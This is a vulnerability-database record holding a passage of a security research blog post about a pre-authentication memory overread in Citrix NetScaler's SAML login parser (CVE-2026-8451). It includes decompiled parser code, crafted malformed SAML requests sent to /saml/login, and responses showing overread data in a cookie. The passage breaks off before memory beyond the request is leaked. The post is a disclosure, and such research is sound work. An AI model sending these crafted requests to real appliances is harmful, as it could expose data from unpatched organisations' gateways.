{"uuid": "ecf78090-6993-45d3-aa99-c6de905a5e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451)", "description": "# CitrixBleed To Infinity And Beyond (Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451)\n\nWell, well, well - once again, the cat has dragged us in and spat us out.\n\nToday, we find ourselves questioning the reality we sit within. Must it be so predictable, and why us? \u201cBut watchTowr, what do you mean?\u201d\n\nWell, if you\u2019re here, you likely fit into one of the following categories:\n\n*   A dear reader,\n*   A group therapy accomplice\n*   A Groundhog Day fan club member\n\nWhy? Because we once again find ourselves talking about Citrix NetScalers. Yes, that\u2019s right, we\u2019ve found another excuse to create memes and mock promise rings.\n\nFor those that don\u2019t start violently wretching when the phrase \u201cCitrix NetScaler\u201d is uttered, we have another word to whisper: \u201cCitrixBleed\u201d.\n\nAs many know, the term CitrixBleed now refers to not a single vulnerability, but an entire class of Memory Disclosure-esque vulnerabilities in Citrix NetScaler devices, many of which have played roles in breaches and incidents in recent memory.\n\nFor those new to this trauma, the following prior reading may be of interest:\n\n*   [How Much More Must We Bleed? - Citrix NetScaler Memory Disclosure (CitrixBleed 2 CVE-2025-5777)](https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/)\n*   [Is It CitrixBleed4? Well, No. Is It Good? Also, No. (Citrix NetScaler Memory Leak &amp; RXSS CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)\n*   [The Sequels Are Never As Good, But We're Still In Pain (Citrix NetScaler CVE-2026-3055 Memory Overread)](https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/)\n*   [Please, We Beg, Just One Weekend Free Of Appliances (Citrix NetScaler CVE-2026-3055 Memory Overread Part 2)](https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/)\n\n\"We told you so\u201d, we want to scream.\n\nHuh? Why? Because, we have constantly reiterated our concern that the Memory Disclosure-esque class of vulnerability appears to be endemic within Citrix NetScaler devices - to the point where we\u2019ve now found further instances either b[y accident](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) or [while analyzing and reproducing another instance of the same vulnerability class in the same appliance a mere few months ago.](https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/)\n\nYes, that\u2019s right - today, a Secure By Design promise ring pledge commitment hall-of-famer is back to haunt us as Citrix has now publicly disclosed the zero-day Memory Disclosure vulnerability we reported in March 2026.\n\nWe\u2019ve given up counting the numbers, and so we\u2019ve decided to call this vulnerability \u201cCitrixBleed To Infinity And Beyond\u201d:\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-34.png)\n\nReferencing what we wrote previously, because it is demonstrably evergreen:\n\n&gt; However, what should be of concern is the bigger picture - the trend, which is very clearly suggesting that memory management continues to appear fragile within Citrix NetScaler appliances, to the extent that even accidentally misconfiguring an appliance can lead to the disclosure of leaked memory.\n\n&gt; It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders - within, once again, what many will consider a highly-critical appliance and security control.\n\n&gt; Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme\u2026\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-32.png)\n\n### What Is Citrix NetScaler and NetScaler Gateway?\n\nCitrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.\n\nIt is, in other words, exactly the kind of product we love to look at, while also being a natural disaster.\n\n### What Is CVE-2026-8451?\n\nCitrix eloquently describes CVE-2026-8451 as: \u201cInsufficient input validation leading to memory overread\u201d.\n\nNaturally, they\u2019ve assigned CVE-2026-8451 to the vulnerability and rated it a CVSS of 8.8. Of note is that for this vulnerability to be exploitable, matching CitrixBleed3?4?, the NetScaler appliance has to be configured as a SAML IDP.\n\nWithin their advisory, Citrix states the following products are affected:\n\n*   NetScaler ADC and NetScaler Gateway\u202f14.1\u202fBEFORE 14.1-72.61\n*   NetScaler ADC and NetScaler Gateway\u202f13.1\u202fBEFORE 13.1-63.18\n*   NetScaler ADC FIPS BEFORE 14.1-72.61 FIPS\n*   NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.272\n\nLet\u2019s dive in.\n\n### Hunting (Unfortunately Not) Rare Vulnerabilities\n\nIt was a late night in Pallet Town, and we, the intrepid hero, were searching for rare Pok\u00e9mon vulnerabilities in the long grass of the Citrix NetScaler.\n\nDoing \u201cwhat we do best\u201d, back in March we found ourselves feverishly analyzing patches and changes to reproduce CVE-2026-3055 aka CitrixBleed4(?) affecting NetScaler\u2019s configured as an IDP provider.\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-33.png)\n\nWith a NetScaler up and running, configured as an SAML IdP, we skimmed through relevant attack surface. We say skimmed, because in reality, SAML itself doesn't expose a huge amount of functionality for us to poke prod - effectively a handful of authentication endpoints, and not much else (intended, anyway).\n\nThus, it seemed natural to start at the beginning: `/saml/login`.\n\nAnyone familiar with SAML will know that clients kick off authentication by submitting a base64-encoded XML document to an endpoint like this. Buried inside that XML document is an `AuthnRequest`, which describes everything the identity provider needs to know, including the issuer, destination, timestamps, and a handful of other attributes.\n\nWith nothing else to catch our attention, we decided to take what we were given and focus here.\n\nAs anyone who has spent time hunting vulnerabilities will tell you, after hopefully recovering, XML parsers are deceptively difficult to implement correctly. Even experienced developers (and others.. that sign pledges\u2026) generally know better to not do anything else except rely on well-tested libraries.\n\nCitrix, however, appears to have chosen a different path. To ensure allegiance to the pledge.\n\nThe result is delightful snippets like the following, taken from the code responsible for parsing XML attributes such as `foo=\"bar\"`:\n\n```\ncursor = &lt;some string input&gt;\n\nwhitespaceCharList = 0x100002600;\n\n// Skip leading whitespace\nfor ( lookahead = (v32 + 28); ; lookahead++ )\n{\n\tch = *cursor;\n\tif ( ch &gt; '=' )\n\t\tbreak;\n\tif ( !_bittest64(&amp;whitespaceCharList, ch) )\n\t{\n\t\tif ( ch == '=' )\n\t\t{\n\t\t\twhile ( 1 )\n\t\t\t{\n\t\t\t\tch = *lookahead;\n\t\t\t\tif ( ch &gt; 0x20 || !_bittest64(&amp;whitespaceCharList, ch) )\n\t\t\t\t\tbreak;\n\t\t\t\t++lookahead;\n\t\t\t}\n\t\t\tcursor = lookahead;\n\t\t}\n\t\tbreak;\n\t}\n\t++cursor;\n}\n\n// Determine how the value is quoted. This accepts both single and double quotes, or\n// no quotes at all (in which case, the value is terminated by whitespace).\nif ( ch == '\\'' || ch == '\"' )\n{\n\tterminator = ch;\n\tfirst = *++cursor;\n}\nelse\n{\n\tterminator = ' ';\n\tfirst = ch;\n}\nif ( first == terminator )\n\treturn 0xE0002;\t\t// The value is empty.\n\n// Now walk forward until we find the terminator.\nscanPos = cursor;\nwhile ( first != '\\0' &amp;&amp; first != '&gt;' )\n{\n\tscanPos++;\n\tfirst = *scanPos;\n\tif (first == terminator)\n\t\tbreak\n}\n\nif ( scanPos == cursor )\n\treturn 0xE0002;\t\t// the value is empty.\n\nout-&gt;value_ptr = cursor;\nout-&gt;value_len = scanPos - cursor;\n\n```\n\n\nThe first thing that probably jumps out is the slightly odd-looking `_bittest64()` call.\n\nFortunately, it isn't doing anything particularly exotic.\n\nIt simply checks whether a character belongs to a predefined set, encoded as bit positions within the constant `0x100002600`. In practice, that means it matches the characters `0x09`, `0x0A`, `0x0D`, and `0x20`, which correspond to horizontal tab, line feed, carriage return, and space.\n\nThere is one subtle detail. ASCII values range from 0 to 255, while the lookup table is only 64 bits wide. The `&gt; 0x20` check exists to avoid indexing beyond the end of that table.\n\nThe comments should make the rest of the function fairly easy to follow. Its job is simply to locate the value portion of an XML attribute and return both a pointer to the value and its length.\n\nIt also looks... a little questionable. If your promise ring isn\u2019t reverberating yet, you should probably charge it. As we\u2019ve regularly seen and been forced to dea with, string parsing code has a habit of hiding subtle bugs - and surprise, this implementation has a few characteristics that immediately made us suspicious.\n\nFor example, there are no obvious bounds checks. If the input is malformed enough, it looks entirely possible for the parser to read past the end of the input buffer. What happens if an attribute value is never terminated?\n\nBut things get even stranger when you look at the parser's termination logic.\n\nThroughout most of the function, `_bittest64()` is used to recognize the characters that terminate a value. However, there is one special case: **unquoted attribute values**.\n\nIn that path, whitespace is no longer treated as a terminator. Instead, the parser only stops when it encounters a null byte, a closing `&gt;`, or the matching quote character.\n\nThat difference might seem insignificant, but it turns out to matter quite a bit (no way!).\n\n### A Wild NetScaler Appears! watchTowr used \u201cMean Look To See If It Falls Over\u201d.\n\nHaving seen the quality of XML parsers in general, let alone Citrix\u2019s track record that we\u2019ve already discussed, we did what anyone would do - we let our small pets walk across our keyboards, and watched for unexpected intended functionality.\n\nFortunately, NetScaler makes this fairly easy (we supplied the pets).\n\nA quick `shell` command drops you into the underlying operating system, where you can simply `tail` the relevant log file:\n\n```\n/var/log/ns.log\n\n```\n\n\nThat gives us a front-row seat to exactly how the parser interprets our input.\n\nWe'll start with a minimal SAML `AuthnRequest`. It gives us a clean baseline before we begin progressively breaking things and observing how the parser responds:\n\n```\n&lt;samlp:AuthnRequest \n\txmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" \n\txmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" \n\tID=\"_99d3e71118f42305e05acb14ad0bd917\" \n\tVersion=\"2.0\" \n\tProviderName=\"SP test\" \n\tDestination=\"&lt;http://idp.example.com/SSOService.php&gt;\" \n\tProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\" \n\tAssertionConsumerServiceURL=\"&lt;http://sp.example.com/demo1/index.php?acs&gt;\"&gt;\n\t&lt;saml:Issuer&gt;&lt;http://sp.example.com/demo1/metadata.php&gt;&lt;/saml:Issuer&gt;\n\t&lt;samlp:NameIDPolicy Format=\"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\" AllowCreate=\"true\"/&gt;\n\t&lt;samlp:RequestedAuthnContext Comparison=\"exact\"&gt;\n\t&lt;saml:AuthnContextClassRef&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport&lt;/saml:AuthnContextClassRef&gt;\n\t&lt;/samlp:RequestedAuthnContext&gt;\n&lt;/samlp:AuthnRequest&gt;\n\n```\n\n\nAfter base64-encoding the request and sending it, we keep one eye on the logs and one eye on the debugger. As expected, NetScaler parses each of the values correctly:\n\n```\nPOST /saml/login HTTP/1.1\nHost: all-ur-boxen.com\nContent-Length: 1090\n\nSAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCAKCXhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIAoJeG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgCglJRD0iXzk5ZDNlNzExMThmNDIzMDVlMDVhY2IxNGFkMGJkOTE3IiAKCVZlcnNpb249IjIuMCIgCglQcm92aWRlck5hbWU9IlNQIHRlc3QiIAoJRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIAoJUHJvdG9jb2xCaW5kaW5nPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YmluZGluZ3M6SFRUUC1QT1NUIiAKCUFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0iaHR0cDovL3NwLmV4YW1wbGUuY29tL2RlbW8xL2luZGV4LnBocD9hY3MiPgoJPHNhbWw6SXNzdWVyPmh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPgoJPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KCTxzYW1scDpSZXF1ZXN0ZWRBdXRobkNvbnRleHQgQ29tcGFyaXNvbj0iZXhhY3QiPgoJPHNhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L3NhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY%2bCgk8L3NhbWxwOlJlcXVlc3RlZEF1dGhuQ29udGV4dD4KPC9zYW1scDpBdXRoblJlcXVlc3Q%2b\n\n```\n\n\nThe HTTP response is just a `302` (honestly, it\ufffd\ufffds contents are not particularly interesting, so we have omitted them):\n\n```\nHTTP/1.1 302 Object Moved\nLocation: /vpn/index.html\nSet-Cookie: NSC_TASS=YXNkZgBJRD1fOTlkM2U3MTExOGY0MjMwNWUwNWFjYjE0YWQwYmQ5MTcmYmluZD1wb3N0JkFDU1VSTD1odHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcwA=;HttpOnly;Path=/;Secure\nContent-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src &lt;http://localhost&gt;:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Length: 398\nCache-control: no-cache, no-store, must-revalidate\nPragma: no-cache\nContent-Type: text/html; charset=utf-8\n\n&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=UTF-8\"&gt;&lt;script type=\"text/javascript\" src=\"/vpn/resources.js\"&gt;&lt;/script&gt;&lt;script type=\"text/javascript\" src=\"/vpn/init/redirection_body_resources.js\"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id=\"This object may be found \"&gt;&lt;/span&gt;<a href=\"/vpn/index.html\">&lt;span id=\"here\"&gt;&lt;/span&gt;</a>&lt;span id=\"Trailing phrase after here\"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;\n\n```\n\n\nAnd in our friendly logs\u2026.:\n\n```\nAuthnReq start tag parsed, id=&lt;_99d3e71118f42305e05acb14ad0bd917&gt;, \nacs=&lt;http://sp.example.com/demo1/index.php?acs&gt;, forceAuth=&lt;0&gt;, binding=&lt;POST&gt;, \nfollowing data  \"    ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"        AssertionConsumerServiceURL=\"\"\n\n```\n\n\nSo far, nothing particularly surprising. NetScaler successfully extracts the `ID` and `AssertionConsumerServiceURL` attributes, while `ForceAuthn` falls back to its default value.\n\nHowever, we were still deeply suspicious of the attribute parser. Earlier, we pointed out that unquoted attribute values are terminated differently from quoted ones. With not much faith left in humanity, we wondered what would happen if we used a newline to terminate one.\n\nThere was only one way to find out - yes, the pets were asked to walk across our keyboards, again.\n\n```\n&lt;samlp:AuthnRequest Version=\"2.0\" AssertionConsumerServiceURL=11\nid=22&gt;\n&lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt;\n&lt;/samlp:AuthnRequest&gt;\n\n```\n\n\nThis time, we've replaced the space after `AssertionConsumerServiceURL` with a newline.\n\nOnce again, we base64-encode the document and POST it to `/saml/login`:\n\n```\nPOST /saml/login HTTP/1.1\nHost: 192.168.80.125\nContent-Length: 190\n\nSAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0xMQppZD0yMj4KPHNhbWw6SXNzdWVyPndhdGNodG93cjwvc2FtbDpJc3N1ZXI%2bCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg==\n\n```\n\n\nThe response is practically the same as before:\n\n```\nHTTP/1.1 302 Object Moved\nLocation: /vpn/index.html\nSet-Cookie: NSC_TASS=YXNkZgBJRD0yMiZiaW5kPXBvc3QmQUNTVVJMPTExCmlkPTIyAA==;HttpOnly;Path=/;Secure\nContent-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src &lt;http://localhost&gt;:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Length: 398\nCache-control: no-cache, no-store, must-revalidate\nPragma: no-cache\nContent-Type: text/html; charset=utf-8\n\n&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=UTF-8\"&gt;&lt;script type=\"text/javascript\" src=\"/vpn/resources.js\"&gt;&lt;/script&gt;&lt;script type=\"text/javascript\" src=\"/vpn/init/redirection_body_resources.js\"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id=\"This object may be found \"&gt;&lt;/span&gt;<a href=\"/vpn/index.html\">&lt;span id=\"here\"&gt;&lt;/span&gt;</a>&lt;span id=\"Trailing phrase after here\"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;\n\n```\n\n\nWith the log file\u2026 not being so coy:\n\n```\nAuthnReq start tag parsed, id=&lt;22&gt;, acs=&lt;11 id=22&gt;, forceAuth=&lt;0&gt;, binding=&lt;Unknown&gt;, \nfollowing data  Version=\"2.0\" AssertionConsumerServiceURL=11 id=22&gt; &lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt; &lt;/samlp:Au\"\n\n```\n\n\nThat's... interesting.\n\nYou might have to read the log twice before it jumps out at you.\n\nNotice that the `acs` value has been parsed as:\n\n```\n11 id=22\n\n```\n\n\nThat is clearly wrong. Looking at the XML we sent, the value should simply be `11`.\n\nInstead, the parser has read past the correct end of the attribute, failed to recognize the newline as a valid terminator (exactly as we suspected), and continued consuming input until it eventually encountered the `&gt;` terminating the `AuthnRequest` start tag.\n\nThen, things became even more interesting.\n\nAs we saw earlier, this XML parser is surprisingly relaxed about what constitutes a valid closing tag. In particular, it is happy to accept a `&lt;` as the terminator for an `AuthnRequest` start tag instead of the expected `&gt;`.\n\nThat means we can take things one step further. If we terminate both `AssertionConsumerServiceURL` and `ID` with newlines, and leave the opening `AuthnRequest` tag unclosed, we end up with the following request:\n\n```\n&lt;samlp:AuthnRequest Version=\"2.0\" AssertionConsumerServiceURL=\nid=\n&lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt;\n&lt;/samlp:AuthnRequest&gt;\n\n```\n\n\nLet\u2019s base64 and send it on its way:\n\n```\nPOST /saml/login HTTP/1.1\nHost: 192.168.80.125\nContent-Length: 180\n\nSAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBWZXJzaW9uPSIyLjAiIEFzc2VydGlvbkNvbnN1bWVyU2VydmljZVVSTD0KaWQ9CjxzYW1sOklzc3Vlcj53YXRjaHRvd3I8L3NhbWw6SXNzdWVyPgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=\n\n```\n\n\nThe response is, again, uninteresting:\n\n```\nHTTP/1.1 302 Object Moved\nLocation: /vpn/index.html\nSet-Cookie: NSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==;HttpOnly;Path=/;Secure\nContent-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src &lt;http://localhost&gt;:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action  'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure\nSet-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nSet-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Length: 398\nCache-control: no-cache, no-store, must-revalidate\nPragma: no-cache\nContent-Type: text/html; charset=utf-8\n\n&lt;html&gt;&lt;head&gt;&lt;META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=UTF-8\"&gt;&lt;script type=\"text/javascript\" src=\"/vpn/resources.js\"&gt;&lt;/script&gt;&lt;script type=\"text/javascript\" src=\"/vpn/init/redirection_body_resources.js\"&gt;&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;span id=\"This object may be found \"&gt;&lt;/span&gt;<a href=\"/vpn/index.html\">&lt;span id=\"here\"&gt;&lt;/span&gt;</a>&lt;span id=\"Trailing phrase after here\"&gt;&lt;/span&gt;&lt;/body&gt;&lt;/html&gt;\n\n```\n\n\n.. but the generated log is far from boring:\n\n```\n\nAuthnReq start tag parsed, id=&lt;&lt;saml:Issuer&gt;, acs=&lt;id= &lt;saml:Issuer&gt;, \nforceAuth=&lt;0&gt;, binding=&lt;Unknown&gt;, following data  Version=\"2.0\" AssertionConsumerServiceURL= id= &lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt; &lt;/samlp:AuthnRe\"\n\n```\n\n\nSo far, our theory holds up.\n\nThe `AssertionConsumerServiceURL` value is not terminated at the newline. Instead, the parser keeps reading until it encounters the `&gt;` from the closing `Issuer` tag. The `ID` attribute behaves exactly the same way.\n\nAt this point, it is pretty clear that we have an overread. The parser is reading well beyond the intended bounds of each attribute value. We are still only reading XML that happens to be present in the input buffer, but the parser is clearly consuming far more data than it should.\n\nThat is already interesting, but the obvious question is: \u201cDo we lease our bug-hunting pets?\u201d Sometimes.\n\nThe other question you may be inclined to ask, may resemble the following: \u201cWhere does all of this overread data end up?\n\nTo answer that, we need to look at what this function actually produces.\n\nOn success, it returns an HTTP response containing an `NSC_TASS` cookie. Among other things, this cookie stores the `ID` and `AssertionConsumerServiceURL` values that were parsed from the incoming XML request:\n\n```\nNSC_TASS=YXNkZgBJRD08c2FtbDpJc3N1ZXImYmluZD1wb3N0JkFDU1VSTD1pZD0KPHNhbWw6SXNzdWVyAA==\n\n```\n\n\nThis decodes to:\n\n```\n00000000  61 73 64 66 00 49 44 3d  3c 73 61 6d 6c 3a 49 73  |asdf.ID=&lt;saml:Is|\n00000010  73 75 65 72 26 62 69 6e  64 3d 70 6f 73 74 26 41  |suer&amp;bind=post&amp;A|\n00000020  43 53 55 52 4c 3d 69 64  3d 0a 3c 73 61 6d 6c 3a  |CSURL=id=.&lt;saml:|\n00000030  49 73 73 75 65 72 00                              |Issuer.|\n\n```\n\n\n`asdf` is simply the configured provider name. The interesting part is everything that follows.\n\nYou can see the values parsed from our XML request being embedded directly into the cookie. The `ID` field now contains `&lt;saml:Issuer`, and the `ACSURL` field has similarly consumed data well beyond the intended attribute value.\n\nShock - we are once again miserable about the world (we say, fiddling with our promise rings).\n\nWe\u2019ve so far demonstrated what nobody needed a crystal ball to predict - the NetScaler appliance is willing to return data it never should have associated with those attributes. So far, though, the overread is still confined to our own request buffer.\n\nThe next challenge is obvious: instead of reading within the request, can we make it read beyond the end of the request?\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-35.png)\n\n### Reading Into The Unknown\n\nWe spent quite a while trying to figure out how to push the parser past the end of the request buffer. After a healthy amount of trial and error, we concluded that our login request to `/saml/login` needed to satisfy a few conditions:\n\n*   It must contain both a `&lt;samlp:AuthnRequest&gt;` and a corresponding `&lt;/samlp:AuthnRequest&gt;`. We can't simply leave the request unterminated.\n*   It must contain a valid `&lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt;`.\n*   It must contain either an `AssertionConsumerServiceURL=` or `ID` attribute terminated by a newline, or not terminated at all.\n\nAt first glance, those requirements seem mutually 